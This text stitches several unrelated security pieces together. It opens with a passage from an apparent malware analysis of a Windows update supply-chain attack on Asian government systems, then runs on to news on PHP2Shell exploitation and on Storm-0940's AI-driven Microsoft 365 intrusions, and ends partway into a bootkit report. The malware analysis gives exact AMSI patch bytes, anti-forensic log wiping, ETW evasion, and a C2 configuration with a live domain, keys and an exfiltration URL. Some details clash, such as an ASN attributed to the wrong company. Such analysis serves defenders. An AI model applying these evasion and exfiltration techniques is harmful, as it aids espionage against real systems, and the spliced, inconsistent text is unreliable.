1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
3. Patch the AMSI module.
   • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
   • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
   • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

XAML-2-2

XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

.NET 1 Loader

.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

{
    "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
    "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
}

• JSON-1-c
  This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.

  sc	false	Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
  c	null	Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
  tp	null	Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
  e	null	The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.

• JSON-1-p
  JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:
  • oib: Base64‑encoded .NET 2 Plugin (PE file)
  • oub: Base64‑encoded XAML that invokes Exit(0)
  • ibk: AES key used to decrypt ibi
  • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

  Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

  [
      {
          "c": [
              {
                  "cu": "https://openaigpt4v.com/model_v4/",
                  "tp": "*",
                  "rh": ""
              }
          ],
          "mib": 79200,
          "mab": 100800,
          "mis": 1200,
          "mas": 2400,
          "e": "9fT04e03tAiZAPogcDWt0w==",
          "ii":  null,
          "aop": null,
          "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
          "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
          "wi": 100801,
          "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
          "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
          "de": false
      }
  ]

After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
   • Delete malicious files extracted from the CAB
     

     PatchMyPC-ScriptRunner.exe.config
     fabric.config
     Resources.resx

   • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.

     %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
     %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf

   • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.

     "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"

2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
    
   For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
4. Verify that the current user is an administrator; if not, throw an exception with code 128.
5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.

    [
        {
            // Fixed value
            "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
            // Error number: 0 indicates successful execution
            "e": "0 ",
            // Value of config "ii"
            "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
        }
    ]

12. POST the encrypted and encoded result to the reporting C2 server.

XAML-3

XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

The C2 configuration in XAML‑P2 is shown below:

Item	Value	Description
ii	94aafd58-c00c-402a-aae6-858b4486a1a4	Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
ec	9fT04e03tAiZAPogcDWt0w==	Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
bi	79200-100800	Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
is	1200-2400	Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
u	Base64encodedXAML	A short XAML snippet that calls Environment.Exit(0)
wi	100801	Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
de	False	Local exception logging switch: when set to False, exception logging is enabled.
si	41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095	UID: generated using a custom method based on the registry key value SusClientId.
cu	https://openaigpt4vcom/model_v4/	Command-and-control (C2) server URL taken from the C2 server list.
tp	*	Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
rh		Additional route header/data: not configured in this instance.

When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

.NET 2 Plugin

This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

The following key steps are executed in this thread:

1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
2. Gather system information from the registry:

   • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
     "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"

   • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
   • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
   • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:

   • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
     DllSurrogate = ""

4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
8. Periodic polling:
   1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
   2. Obtain the system proxy using three methods (see the Discovering proxies section below).
   3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
   4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
   5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.

      // Final HTTP request URL
      "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"

   6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
   7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
   8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

AES encryption scheme for network traffic

All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

For a given master key and a single-byte seed, the derivation works as follows:

1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

Seed	Key type generated (client side)	Key type generated (server side)
0	Decryption key	Encryption key
1	Decryption authentication key	Encryption authentication key
2	Encryption key	Decryption key
3	Encryption authentication key	Decryption authentication key

The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

Discovering proxies

.NET 2 Plugin detects the system proxy using three methods:

• Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
• If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
• If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

These methods ensure that the malware can reach external networks even in complex network environments with proxies.

Execute downloaded XAML payload in an isolated AppDomain

This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

In more detail, the process is as follows:

1. Create a new isolated AppDomain with a randomly generated GUID as its name.
2. Copy all configuration data from the current AppDomain into the new one.
3. Set the proxy information in the new AppDomain and assign it to the variable px.
4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
7. Unload the isolated AppDomain to complete the cleanup.

This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

Infrastructure

The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

Domain	IP	First seen	Domain Registrar/ASN
openaigpt4v[.]com	104.18.14[.]219	Sep 27, 2023	Cloudflare, Inc. / 15169

Victims

Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

Attribution

After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

Conclusions

Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

Indicators of Compromise

File hashes

F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5    fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632     XAML-1
9000820D8153C24CD60D53001D3A97B6    XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

File paths

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

Domains and IPs

openaigpt4v[.]com

Cyfirma links PHP2Shell scans of 216 vulnerable hosts to a suspected North Korean campaign using AI to rank public exploits.

On October 21, PHP released emergency patches for two critical vulnerabilities, CVE-2026-109618 and CVE-2026-109619, both rated 9.2 on the CVSS scale. The flaws affect all PHP versions that handle web requests. The vulnerable code dates back to PHP 5.4, released in 2012, and resides in the PHP engine itself rather than in individual applications. Attackers can exploit the flaws to execute code remotely by sending specially crafted HTTP requests, without authentication.

Exploitation attempts increased rapidly after the vulnerabilities became public. Cloudflare researchers reported tens of thousands of attempts within the first 45 minutes, hundreds of thousands in just two hours, and millions by October 22.

Cyfirma reported that a group of North Korea-linked group has identified 216 hosts that may still be vulnerable to PHP2Shell. The operators communicate through a private I2P channel that Cyfirma has monitored since October 22. On October 24, they reported that 216 hosts appeared to be unpatched or only partly protected, earlier than Cyfirma expected.

They are checking the systems from 21 compromised machines. At the time Cyfirma captured the conversation, the operators had already checked about one-third of the targets.

“Two handles active since March 2026, coordinating in a closed I2P channel; staging infrastructure shared in-channel.” states the cybersecurity firm. “Target set and scan nodes. “On 24 October the operators reported 216 unpatched or partially mitigated hosts and named 21 scan nodes; the same addresses were seen performing web-shell tooling and upload-progress session-poisoning attempts.”

The scanning is slow on purpose. Volume stays low, the machines rotate, and any node that shows filtering or rate limiting gets pulled and never reused. That’s why a rate-based alert will probably stay quiet.

Who’s behind it? Cyfirma assesses with moderate confidence a link to the Lazarus family of North Korean groups, based on language, operating style and old habits with PHP web shells and hijacked web servers. It has no shared malware or infrastructure to point to yet, and it admits that a Korean-speaking criminal crew without state backing would fit the same facts. Its confidence in the campaign itself is high.

Government agencies and banks come first. Next in line are logistics, ports, airports and aviation, manufacturing, and online transaction and trading platforms. The countries named are the US, Japan, South Korea, Thailand, Indonesia, Australia, Taiwan, India, Singapore, the UAE, Saudi Arabia and the EU.

Cyfirma has not named any victims or seen the full list of targeted systems. The operators have not announced when they plan to launch attacks, and the researchers have not confirmed that this group has compromised systems on a large scale. Cyfirma gives the campaign an imminence score of 78 out of 100. The operators plan to check all 216 hosts, select the most promising targets, and decide which publicly available exploits to adapt.

The group does not appear to be developing new exploits. Instead, its members use a local AI model to rank public exploit repositories, then test the results manually in a lab. Cyfirma believes this approach could help attackers turn newly disclosed vulnerabilities into working attacks more quickly. However, researchers warn that some proof-of-concept exploits shared online are fake and may contain malware, so downloading and running them can be dangerous.

Technical details leaked on October 20, ahead of coordinated disclosure, and the PHP project shipped fixes on October 21. Apache mod_php with default settings and prefork is the confirmed worst case for 109618, with full unauthenticated code execution. For 109619, PHP-FPM is validated through the upload-progress path.

One correction matters for your temporary controls. Early coverage tied the session upload-progress field to 109618, but PHP’s advisories put it under 109619 only. Disabling upload progress does nothing for 109618, so the two bugs need different stopgaps.

Triggering the bug is easy, but reliable code execution isn’t. The attacker has to land a follow-up request on the same worker and shape heap data into the freed space, otherwise the worker crashes or answers normally. VulnCheck reports working code execution on x86-64 with ASLR enabled against PHP 8.4.10 to 8.4.26, while ARM64 only leaks memory so far.

Short of code execution, attackers have already shown worker crashes, arbitrary file reads through OPcache and a leak of about 67 KB of process memory. The fixed releases are PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35. PHP 8.1, 8.0 and 7.4 get only minimal backports, and vendors such as cPanel EasyApache, CloudLinux, TuxCare and Plesk carry their own builds, so confirm coverage with yours.

Anything from PHP 5.4 to 7.3 has no fix, so migrate or isolate it. Restart every worker after patching, because a reload that keeps old workers alive leaves the stale state in place. Isolate anything internet-facing that you can’t patch within hours, starting with Apache mod_php.

If you suspect a host is compromised, capture memory and logs before you patch, since a restart destroys the CVE-2026-109619 state. Then rebuild the host from a trusted image and rotate every secret the PHP worker could reach. Hunt back to October 17, the earliest known exploitation, and use long time windows.

The strongest single signal is a PHP or web server process spawning something it never normally spawns. Application logs will usually show nothing, because the bug fires before application code runs. Look for odd multipart POSTs to endpoints that never take uploads, bursts of worker crashes and memory errors, new PHP files in web roots, and new cron jobs, local users or SSH keys.

Cyfirma includes Sigma, Splunk and YARA content, though it says the YARA set hasn’t been tested on real application code yet. It also lists 21 scan-node addresses, 17 source addresses from October 23 and 15 staging addresses, all defanged. Some scan nodes are described as compromised and may belong to victims, so hunt for prior contact before assuming who owns them.

If you can’t patch yet, the advisory suggests limits such as a low post_max_size and disabling session upload progress for 109619. Cyfirma is clear that none of it replaces patching. The operators’ own selection rule is the most useful detail in the whole advisory, because they dropped every host that showed a fixed version or sat behind heavy filtering. That makes a current version string a cheap filter against you, and for once being boring pays off.

“Hosts still bannering older PHP are the ones the operators kept.” Cyfirma states.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, PHP2Shell)

BRONZE SANDCASTLE uses Sandboxie DLL sideloading to run a modified Meterpreter backdoor in memory against targets in Asia and Africa.

Related Posts:

• Skynet LLMjacking Agent Hijacks Exposed AI Models to Hack Servers and Mine Crypto
• INC Ransomware Affiliates Expose Seven Servers Holding Phantom AI Framework and 46 Encryptors
• SafePay Ransomware Hits 600 Victims as FBI, CISA and Allies Issue Joint Warning

The post BRONZE SANDCASTLE Uses Sandboxie DLL Sideloading to Deploy Modified Meterpreter Backdoor appeared first on Daily CyberSecurity.

China-linked Storm-0940 used AI tool ARTEX to target 2,250 Microsoft 365 tenants, exploiting stolen ConnectWise credentials at machine speed.

Microsoft published a detailed technical report naming Storm-0940, a China state-aligned group, as the actor behind the ConnectWise Cloud Backup supply chain compromise. The group used ARTEX, an open-source AI-driven penetration testing framework, to run attacks at machine speed against hundreds of organizations across aerospace, defense, energy, financial services, government, manufacturing, and more.

“Several of these Storm-0940 ARTEX-driven attacks have resulted in the actor obtaining privileged access to an organization’s cloud infrastructure – including multiple instances where the time from initial targeting to privileged access was less than 3 hours.” reads the report. “Microsoft assesses that Storm-0940 was responsible for the recently disclosed ConnectWise supply chain compromise of a multi-tenant application.”

Storm-0940 has been active since 2021 and has historically relied on password spraying and OAuth application abuse to get into Microsoft 365 environments. Adding ARTEX changed the scale of what they could do. In some attacks, the time between initial targeting and achieving privileged cloud access was under three hours.

Before obtaining the ConnectWise credentials, Storm-0940 launched a password spraying attack between October 10 and 14. The attack came from the IP address 144.172.64[.]99. Microsoft recorded more than 151,000 failed login attempts against 327 accounts at eight organizations. Activity peaked on October 11, with 2,900 failed attempts per minute. Forty-eight accounts each received more than 1,000 failed attempts. None of these attempts succeeded.

The situation changed on October 15, one day after the ConnectWise breach became public. The AI agents stopped trying passwords and switched to a different attack method. By then, Storm-0940 had obtained the credentials of several ConnectWise cloud application accounts. The agents used these credentials to log directly into customer Microsoft 365 environments.

“Storm-0940’s use of ARTEX accelerated the speed of compromised application abuse to authenticate to Microsoft 365 customer environments through applications that had already been granted access.” Microsoft continues. “This allowed the threat actor to operate without requiring an interactive user sign-in. “

The agents used applications that already had permission to access their targets. This allowed the attackers to enter customer environments without requiring users to sign in interactively.

In a subset of environments where authentication succeeded, the agents didn’t stop there. They moved into Microsoft Graph and ran directory reconnaissance, modified application credentials to establish persistence, and attempted changes to identities, groups, and privileged roles. Microsoft identified multiple customer environments with evidence of this follow-on activity.

The persistence mechanism is the part defenders need to act on now, even if they’ve already disabled the ConnectWise connections.

“These changes can remain active as a backdoor even after the original compromised application is mediated.” says the IT giant.

An attacker who added their own credentials to a trusted application before you revoked access still has a working key. Reviewing all service principal credential additions since at least October 1 is the right starting point, not October 15 when the public breach was announced.

ARTEX is not a tool used only by Storm-0940. Microsoft says threat actors in several regions have used the same framework. Originally open-source, ARTEX was written in Go and can use different AI models to plan and carry out tasks. Researchers at Zscaler and Recorded Future also found a Chinese-speaking group using it to target South Korean financial institutions. The setup used DeepSeek, GLM, and Grok as coordinated AI agents, with GLM checking DeepSeek’s work. After these attacks became public, the project went closed-source. However, anyone who already has a copy can still use it.

The speed point is what Microsoft keeps coming back to in its report. Agents don’t take weekends, don’t sleep, and can run multiple attack paths simultaneously.

“This activity demonstrates how threat actors are integrating agentic AI into existing offensive security workflows and allows them to scale their operations exponentially.” Microsoft concludes. “Agents are not constrained by factors affecting humans – they can work around the clock, on weekends, and on holidays and attempt multiple breach paths simultaneously enabling significantly reduced time from selecting a target to achieving objectives, increasing the speed and impact of complex attacks like supply chain compromises.”

When Storm-0940 had valid application credentials, they didn’t have to iterate slowly. They hit 2,250 tenants with 2,900 sign-in attempts per minute, a pace at which manual detection and response simply can’t keep up.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, ARTEX)

Introduction

Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

The return of the infamous bootkit

In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

• inst.exe, an installer executable
• PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

Payload launched by the bootkit

The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

User-mode second-stage payloads

Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

File suffix	Description	Type
0X01	A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module	Input
0X02	Result of the call TEST.Class1.RunCMD(argument_array)	Output
0X03	Task to upload a file to the drive	Input
0X04	Uploaded file	Output
0X05	Task to download a file to an infected machine	Input
